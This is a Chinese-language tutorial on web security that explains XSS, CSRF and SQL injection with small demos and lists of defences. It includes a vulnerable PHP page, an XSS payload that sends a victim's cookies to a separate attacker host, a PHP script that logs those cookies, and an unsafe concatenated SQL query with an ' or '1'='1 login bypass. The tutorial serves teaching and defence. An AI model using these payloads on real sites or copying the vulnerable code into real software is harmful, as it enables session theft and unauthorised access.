網路安全小結
網路安全中XSS攻擊,什麼是CSRF攻擊,SQL注入攻擊是經常會碰到的問題,特別是對於XSS和CRSF以及他們之間的區別官方解釋比較難以理解,所以想通過兩個簡單的DEMO來加深對XSS和CRSF的理解。最後再說明下SQL注入攻擊。
1.XSS攻擊
xss,cross site scripting,又稱跨站指令碼攻擊,其攻擊的本質是讓使用者的瀏覽器執行一段刻意構造的指令碼,其實使用者的瀏覽器在載入頁面時候會呼叫其中的指令碼段,如果其中存在一段刻意構造的惡意指令碼的話,就會被瀏覽器直接執行,造成攻擊。
xss攻擊分為三類:反射型xss,儲存型xss,DOM型xss
舉個簡單的demo解釋下:
存在漏洞的URL為:http://172.16.35.135/xss_demo.php
頁面內容如下:
<?php session_start(); ?> <!doctype html> <html> <head> <title>XSS demo</title> </head> <body> <form> <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" /> <input type="submit" value="Submit" /> </form> </body> </html>
使用者正常訪問的連結為:http://172.16.35.135/xss_demo.php,開啟頁面不會出現問題。
現在某個黑客惡意製造了一個這樣的連結地址(攻擊URL):http://172.16.35.135/xss_demo.php?<script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script>
黑客可以採取各種手段,包括髮Email,在各種論壇網站釋出此攻擊URL,做成一個誘人鏈接。
這樣當用戶點選該連結時,開啟的頁面內容就變為:
<!doctype html>
<html>
<head>
<title>XSS demo</title>
</head>
<body>
<form>
<input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
當開啟頁面後,這個html會去執行黑客事先設計好的的指令碼程式碼:
<script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script>
假設黑客設計好的xss_hacker.php頁面http://172.16.2.192/xss_hacker.php為:
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
file_put_contents('xss_victim.txt', $victim);
則這個程式會將使用者的cookie敏感資訊寫入到檔案中儲存起來,當然現實中肯定是寫入到資料庫中儲存起來。
這個時候使用者的cookie就被黑客劫持了,黑客拿到使用者的cookie資訊以後就可以幹各種壞事了。
XSS的預防可以從多方面著手:
(1)如前面所述,瀏覽器自身可以識別簡單的XSS攻擊字串,從而阻止簡單的XSS攻擊;
(2)從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字元等手段,始終把安全放在心上;
1)將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
2)表單資料規定值的型別,例如:年齡應為只能為int、name只能為字母數字組合.
3)過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , < for <, > for >, " for
4)過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。
(3)對於普通網民,需要注意儘量抵擋誘惑,別去點選非知名網站的連結。
2.CSRF攻擊
CSRF攻擊(Cross Site Request Forgery,跨站請求偽造)是攻擊者通過跨站請求,以合法的使用者身份進行非法操作(如轉賬或發帖等)。CSRF的原理是利用瀏覽器的Cookie或伺服器的Session,盜取使用者身份。
也用一個簡單的DEMO來說明CSRF攻擊。
CSRF攻擊示意圖
上面的示例圖簡單的說明了CSRF攻擊的過程。黑客先登入信任的網站A,生成cookie。
然後使用者訪問攻擊網站B,B為製造一個連結,當用戶點選這個連結以後,就會發送一個攻擊者設計好的請求到A網站,這個請求對A網站來說是正常使用者請求,但實質上使用者並不知道這個請求,違背了使用者的意圖。攻擊者借用使用者的cookie資訊來製造惡意操作。
CSRF成功的前提使用者必須登入到目標站點,且使用者瀏覽了攻擊者控制的站點。
防範CSRF攻擊:
(1)在表單中新增令牌(token);
(2)驗證碼;
(3)檢查請求頭中的Referer(前面提到防圖片盜連結也是用的這種方式)
3. SQL注入攻擊
SQL注入攻擊與XSS攻擊十分相似,XSS攻擊是注入到html指令碼,而SQL注入攻擊是注入到SQL語句中。
也是舉一個DEMO來說明。
⑴ 某個ASP.NET Web應用有一個登入頁面,這個登入頁面控制著使用者是否有權訪問應用,它要求使用者輸入一個名稱和密碼。
⑵ 登入頁面中輸入的內容將直接用來構造動態的SQL命令,或者直接用作儲存過程的引數。下面是ASP.NET應用構造查詢的一個例子:
System.Text.StringBuilder query = new System.Text.StringBuilder(
"SELECT * from Users WHERE login = '")
.Append(txtLogin.Text).Append("' AND password='")
.Append(txtPassword.Text).Append("'");
⑶ 攻擊者在使用者名稱字和密碼輸入框中輸入"'或'1'='1"之類的內容。
⑷ 使用者輸入的內容提交給伺服器之後,伺服器執行上面的ASP.NET程式碼構造出查詢使用者的SQL命令,但由於攻擊者輸入的內容非常特殊,所以最後得到的SQL命令變成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
⑸ 伺服器執行查詢或儲存過程,將使用者輸入的身份資訊和伺服器中儲存的身份資訊進行對比。
⑹ 由於SQL命令實際上已被注入式攻擊修改,已經不能真正驗證使用者身份,所以系統會錯誤地授權給攻擊者。
如果攻擊者知道應用會將表單中輸入的內容直接用於驗證身份的查詢,他就會嘗試輸入某些特殊的SQL字串篡改查詢改變其原來的功能,欺騙系統授予訪問許可權。
防範SQL注入攻擊也可以採用
1)消毒的方式,
2)通過正則表示式對請求引數進行驗證;
3)引數繫結也是很好的手段,這樣惡意的SQL會被當做SQL的引數而不是命令被執行,JDBC中的PreparedStatement就是支援引數繫結的語句物件,從效能和安全性上都明顯優於Statement
參考資料:
https://blog.csdn.net/smstong/article/details/43561607
https://www.cnblogs.com/binyao/p/4900393.html